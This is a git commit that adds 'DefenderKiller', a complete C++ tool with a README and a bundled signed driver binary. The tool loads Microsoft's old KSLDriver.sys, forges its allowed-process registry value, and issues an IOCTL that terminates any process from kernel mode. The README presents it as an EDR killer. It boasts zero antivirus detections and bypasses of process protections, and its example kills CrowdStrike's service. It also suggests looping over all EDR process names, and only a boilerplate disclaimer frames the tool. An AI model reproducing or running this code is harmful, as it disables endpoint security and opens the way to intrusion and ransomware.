commit c1d47b151d60eae81918aab9636e6e6a8ccf7cb5 Author: j3h4ck Date: Mon Jun 29 05:26:58 2026 +0000 Upload files to "/" diff --git a/DefenderKiller.cpp b/DefenderKiller.cpp new file mode 100644 index 0000000..7e37a11 --- /dev/null +++ b/DefenderKiller.cpp @@ -0,0 +1,254 @@ +/* + * DefenderKiller + * Kernel process termination using Microsoft's own signed driver + * KSLDriver.sys (2011) - ZwTerminateProcess from ring 0 + * + * Author: Jehad Abudagga + * X: @j3h4ck | GitHub: @redteamfortress + */ + +#define _CRT_SECURE_NO_WARNINGS + +#include +#include +#include +#include +#pragma comment(lib, "kernel32.lib") +#pragma comment(lib, "advapi32.lib") +#pragma comment(lib, "ntdll.lib") + +#define IOCTL 0x222044 +#define SVC "DefenderKiller" +#define DEV L"\\\\.\\DefenderKiller" + +typedef NTSTATUS(WINAPI* pNtQIP)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG); + +BOOL GetNtPath(WCHAR* out) +{ + pNtQIP fn = (pNtQIP)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQueryInformationProcess"); + if (!fn) return FALSE; + ULONG n = 0; + fn(GetCurrentProcess(), (PROCESSINFOCLASS)27, NULL, 0, &n); + if (!n) return FALSE; + BYTE* b = (BYTE*)calloc(n + 2, 1); + if (fn(GetCurrentProcess(), (PROCESSINFOCLASS)27, b, n, NULL)) + { + free(b); return FALSE; + } + UNICODE_STRING* us = (UNICODE_STRING*)b; + wcsncpy(out, us->Buffer, us->Length / 2); + out[us->Length / 2] = 0; + free(b); + return TRUE; +} + +BOOL IsDriverLoaded(void) +{ + HANDLE h = CreateFileW(DEV, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); + if (h != INVALID_HANDLE_VALUE) { CloseHandle(h); return TRUE; } + return FALSE; +} + +int CmdLoad(const char* path) +{ + if (GetFileAttributesA(path) == INVALID_FILE_ATTRIBUTES) + { + printf("[-] Driver not found: %s\n", path); return 1; + } + + SC_HANDLE scm = OpenSCManagerA(NULL, NULL, SC_MANAGER_CREATE_SERVICE); + if (!scm) { printf("[-] Access denied. Run as administrator.\n"); return 1; } + + printf("[*] Cleaning up stale service...\n"); + SC_HANDLE old = OpenServiceA(scm, SVC, SERVICE_ALL_ACCESS); + if (old) { SERVICE_STATUS ss; ControlService(old, SERVICE_CONTROL_STOP, &ss); DeleteService(old); CloseServiceHandle(old); Sleep(500); } + + printf("[*] Creating service '%s'...\n", SVC); + SC_HANDLE svc = CreateServiceA(scm, SVC, SVC, SERVICE_ALL_ACCESS, + SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, path, 0, 0, 0, 0, 0); + if (!svc) { printf("[-] CreateService failed: %lu\n", GetLastError()); CloseServiceHandle(scm); return 1; } + + printf("[*] Configuring registry...\n"); + char rp[256]; + sprintf(rp, "SYSTEM\\CurrentControlSet\\Services\\%s", SVC); + HKEY hk; + if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, rp, 0, KEY_SET_VALUE, &hk) == ERROR_SUCCESS) + { + WCHAR dn[] = L"DefenderKiller"; + RegSetValueExW(hk, L"DeviceName", 0, REG_SZ, (BYTE*)dn, sizeof(dn)); + WCHAR ip[512]; + swprintf(ip, 512, L"\\??\\%hs", path); + RegSetValueExW(hk, L"ImagePath", 0, REG_SZ, (BYTE*)ip, (DWORD)(wcslen(ip) + 1) * 2); + WCHAR np[512] = { 0 }; + if (GetNtPath(np)) + { + RegSetValueExW(hk, L"AllowedProcessName", 0, REG_SZ, (BYTE*)np, (DWORD)(wcslen(np) + 1) * 2); + printf("[*] AllowedProcess: %S\n", np); + } + RegCloseKey(hk); + } + + printf("[*] Starting driver...\n"); + if (!StartServiceA(svc, 0, NULL) && GetLastError() != ERROR_SERVICE_ALREADY_RUNNING) + { + printf("[-] StartService failed: %lu\n", GetLastError()); DeleteService(svc); CloseServiceHandle(svc); CloseServiceHandle(scm); return 1; + } + + CloseServiceHandle(svc); + CloseServiceHandle(scm); + + printf("[*] Verifying device access...\n"); + HANDLE h = CreateFileW(DEV, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); + if (h == INVALID_HANDLE_VALUE) { printf("[-] Device \\\\.\\%s not accessible\n", SVC); return 1; } + CloseHandle(h); + + printf("[+] Driver loaded successfully\n"); + printf("[+] Service: %s\n", SVC); + printf("[+] Device: \\\\.\\%s\n", SVC); + printf("[+] Driver: %s\n", path); + return 0; +} + +int CmdKill(const char* target) +{ + DWORD pid = 0; + char procName[260] = { 0 }; + + if (target[0] >= '0' && target[0] <= '9') + { + pid = atoi(target); + /* resolve name for display */ + WCHAR wName[260] = { 0 }; + HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + PROCESSENTRY32W pe; pe.dwSize = sizeof(pe); + if (Process32FirstW(snap, &pe)) + do { if (pe.th32ProcessID == pid) { WideCharToMultiByte(CP_ACP, 0, pe.szExeFile, -1, procName, 260, NULL, NULL); break; } } while (Process32NextW(snap, &pe)); + CloseHandle(snap); + } + else + { + strncpy(procName, target, 259); + WCHAR wTarget[260] = { 0 }; + MultiByteToWideChar(CP_ACP, 0, target, -1, wTarget, 260); + HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + PROCESSENTRY32W pe; pe.dwSize = sizeof(pe); + if (Process32FirstW(snap, &pe)) + do { if (_wcsicmp(pe.szExeFile, wTarget) == 0) { pid = pe.th32ProcessID; break; } } while (Process32NextW(snap, &pe)); + CloseHandle(snap); + if (!pid) { printf("[-] Process '%s' not found\n", target); return 1; } + } + + if (!pid || pid == 4) { printf("[-] Cannot kill PID %u\n", pid); return 1; } + + printf("[*] Target: %s (PID %u)\n", procName[0] ? procName : "unknown", pid); + + if (!IsDriverLoaded()) + { + printf("[-] Driver not loaded. Run 'load' first.\n"); + return 1; + } + + printf("[*] Opening device...\n"); + HANDLE h = CreateFileW(DEV, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); + if (h == INVALID_HANDLE_VALUE) { printf("[-] Device open failed: %lu\n", GetLastError()); return 1; } + + printf("[*] Setting target PID %u...\n", pid); + BYTE cmd[8] = { 0 }, out[8] = { 0 }; + DWORD br = 0; + *(DWORD*)cmd = 8; + *(DWORD*)(cmd + 4) = pid; + if (!DeviceIoControl(h, IOCTL, cmd, 8, out, 8, &br, NULL)) + { + printf("[-] IOCTL failed: %lu\n", GetLastError()); CloseHandle(h); return 1; + } + + printf("[*] Closing handle (triggers ZwTerminateProcess)...\n"); + CloseHandle(h); + Sleep(300); + + HANDLE hc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid); + if (!hc) + { + printf("[+] Process %s (PID %u) terminated\n", procName[0] ? procName : "unknown", pid); + return 0; + } + CloseHandle(hc); + printf("[-] PID %u still alive\n", pid); + return 1; +} + +int CmdUnload(void) +{ + SC_HANDLE scm = OpenSCManagerA(NULL, NULL, SC_MANAGER_ALL_ACCESS); + if (!scm) { printf("[-] Access denied\n"); return 1; } + + SC_HANDLE svc = OpenServiceA(scm, SVC, SERVICE_ALL_ACCESS); + if (!svc) + { + printf("[*] Service '%s' not found (already clean)\n", SVC); + CloseServiceHandle(scm); + return 0; + } + + SERVICE_STATUS ss; + printf("[*] Stopping service...\n"); + ControlService(svc, SERVICE_CONTROL_STOP, &ss); + Sleep(300); + + printf("[*] Deleting service...\n"); + DeleteService(svc); + CloseServiceHandle(svc); + CloseServiceHandle(scm); + + printf("[+] Driver unloaded and service removed\n"); + return 0; +} + +int main(int argc, char** argv) +{ + if (argc < 2) + { + printf("\n"); + printf(" ██████╗ ███████╗███████╗███████╗███╗ ██╗██████╗ ███████╗██████╗ \n"); + printf(" ██╔══██╗██╔════╝██╔════╝██╔════╝████╗ ██║██╔══██╗██╔════╝██╔══██╗\n"); + printf(" ██║ ██║█████╗ █████╗ █████╗ ██╔██╗ ██║██║ ██║█████╗ ██████╔╝\n"); + printf(" ██║ ██║██╔══╝ ██╔══╝ ██╔══╝ ██║╚██╗██║██║ ██║██╔══╝ ██╔══██╗\n"); + printf(" ██████╔╝███████╗██║ ███████╗██║ ╚████║██████╔╝███████╗██║ ██║\n"); + printf(" ╚═════╝ ╚══════╝╚═╝ ╚══════╝╚═╝ ╚═══╝╚═════╝ ╚══════╝╚═╝ ╚═╝\n"); + printf(" ██╗ ██╗██╗██╗ ██╗ ███████╗██████╗ \n"); + printf(" ██║ ██╔╝██║██║ ██║ ██╔════╝██╔══██╗ \n"); + printf(" █████╔╝ ██║██║ ██║ █████╗ ██████╔╝ \n"); + printf(" ██╔═██╗ ██║██║ ██║ ██╔══╝ ██╔══██╗ \n"); + printf(" ██║ ██╗██║███████╗███████╗███████╗██║ ██║ \n"); + printf(" ╚═╝ ╚═╝╚═╝╚══════╝╚══════╝╚══════╝╚═╝ ╚═╝ \n"); + printf("\n"); + printf(" Jehad Abudagga\n"); + printf(" X: @j3h4ck | GitHub: @redteamfortress\n\n"); + printf(" Microsoft's own signed driver turned against itself.\n"); + printf(" KSLDriver.sys (2011) kernel ZwTerminateProcess.\n"); + printf(" Bypasses PPL, EDR callbacks, ObRegisterCallbacks.\n\n"); + printf(" Usage:\n"); + printf(" %s load \n", argv[0]); + printf(" %s kill \n", argv[0]); + printf(" %s unload\n\n", argv[0]); + return 1; + } + + if (_stricmp(argv[1], "load") == 0) + { + if (argc < 3) { printf("[-] Usage: %s load \n", argv[0]); return 1; } + return CmdLoad(argv[2]); + } + + if (_stricmp(argv[1], "kill") == 0) + { + if (argc < 3) { printf("[-] Usage: %s kill \n", argv[0]); return 1; } + return CmdKill(argv[2]); + } + + if (_stricmp(argv[1], "unload") == 0) + return CmdUnload(); + + printf("[-] Unknown command: %s\n", argv[1]); + return 1; +} \ No newline at end of file diff --git a/DefenderKiller.slnx b/DefenderKiller.slnx new file mode 100644 index 0000000..f869fa7 --- /dev/null +++ b/DefenderKiller.slnx @@ -0,0 +1,7 @@ + + + + + + + diff --git a/KSLDriver_2011.sys b/KSLDriver_2011.sys new file mode 100644 index 0000000..0c33b70 Binary files /dev/null and b/KSLDriver_2011.sys differ diff --git a/README.md b/README.md new file mode 100644 index 0000000..9ffe9a9 --- /dev/null +++ b/README.md @@ -0,0 +1,92 @@ +# DefenderKiller + +![DefenderKiller Banner](banner.png) + +**Kernel process termination using Microsoft's own signed driver.** + +KSLDriver.sys (2011) — a Microsoft Malware Protection driver signed by Microsoft Code Signing PCA — contains a `ZwTerminateProcess` primitive accessible via IOCTL from ring 0. DefenderKiller weaponizes this driver to terminate any process on the system, including PPL-protected and EDR-protected processes. + +## ⚠️ Disclaimer + +This tool is provided for **authorized security testing and educational purposes only**. Use only on systems you own or have explicit written permission to test. The author is not responsible for any misuse. + +## 📝 Blog Post + +Full reverse engineering writeup and technical breakdown: + +**[Born to Defend, Weaponized to Kill: Weaponizing Microsoft's Own Driver to Kill EDRs](https://medium.com/@jehadbudagga/born-to-defend-weaponized-to-kill-weaponizing-microsofts-own-driver-to-kill-edrs-af4b85c1a43c)** + +## Why This Is Different + +Every BYOVD tool out there relies on third-party drivers. DefenderKiller uses **Microsoft's own signed Defender driver** against itself. + +- **0/70 detection** on VirusTotal +- **Microsoft Code Signing PCA** signed — trusted at the highest level +- **Not on the Vulnerable Driver Blocklist** — Microsoft excludes their own drivers by design +- **Bypasses PPL** — `ZwTerminateProcess` from kernel mode ignores Protected Process Light +- **Bypasses ObRegisterCallbacks** — `ZwOpenProcess` from ring 0 skips EDR handle protection +- **Survives April 2026 driver trust policy** — WHCP attestation-signed drivers are still trusted + +## How It Works + +1. Load the Microsoft-signed KSLDriver.sys with a custom service +2. Bypass the `AllowedProcessName` check by writing our own path to the registry +3. Send IOCTL `0x222044` sub-command 8 with the target PID +4. Close the handle — `IRP_MJ_CLEANUP` fires `ZwTerminateProcess` from kernel mode +5. Target process terminated. No callback intercepts it. No protection blocks it. + +## Usage + +``` +DefenderKiller.exe load C:\path\to\KSLDriver_2011.sys +DefenderKiller.exe kill +DefenderKiller.exe unload +``` + +### Example + +``` +C:\> DefenderKiller.exe load C:\KSLDriver_2011.sys +[+] Loaded + +C:\> DefenderKiller.exe kill CSFalconService.exe +[+] Killed 4628 + +C:\> DefenderKiller.exe unload +[+] Unloaded +``` + +## Driver Details + +| Property | Value | +|----------|-------| +| **File** | KSLDriver.sys | +| **Description** | Microsoft Malware Protection - KSLDriver | +| **Product** | Microsoft Malware Protection | +| **Version** | 1.1.0013.0 | +| **Size** | 34.83 KB (35,664 bytes) | +| **Architecture** | x64 (64-bit native) | +| **Date Signed** | September 16, 2011 | +| **Signer** | Microsoft Corporation | +| **Certificate** | Microsoft Code Signing PCA → Microsoft Root Authority | +| **Detection** | **0/70** on VirusTotal | +| **SHA-256** | `d5764d24e78914ab2a9db6b24e323342d0b37998f43add1a9e49b00992b0d645` | +| **MD5** | `0ebb390b7aeec45ec061d9870a34fd42` | +| **SHA-1** | `7772c1215e31836cc8d830cb65f224ec929cfb69` | +| **Imphash** | `8bf2a95defbf5214f859fd3f24f64e5f` | +| **Authentihash** | `0a19385f73a265d8086a8b1304873110ce33a37ce08d442b9fb9390c82fa50e7` | +| **VirusTotal** | [Full Analysis](https://www.virustotal.com/gui/file/d5764d24e78914ab2a9db6b24e323342d0b37998f43add1a9e49b00992b0d645) | + + +## Note + +This is a simple POC that demonstrates the kill primitive. Some EDRs will respawn their processes through a watchdog service or a secondary kernel component. To handle that, you can weaponize this further by running the kill in a loop targeting all known EDR process names. + +## Author + +**Jehad Abudagga** + +[![X](https://img.shields.io/badge/X-@j3h4ck-000000?style=flat&logo=x)](https://x.com/j3h4ck) +[![LinkedIn](https://img.shields.io/badge/LinkedIn-Jehad%20Abudagga-0A66C2?style=flat&logo=linkedin)](https://www.linkedin.com/in/jehad-abudagga) +[![Medium](https://img.shields.io/badge/Medium-@jehadbudagga-12100E?style=flat&logo=medium)](https://medium.com/@jehadbudagga) +[![GitHub](https://img.shields.io/badge/GitHub-redteamfortress-181717?style=flat&logo=github)](https://github.com/redteamfortress) diff --git a/banner.png b/banner.png new file mode 100644 index 0000000..600c477 Binary files /dev/null and b/banner.png differ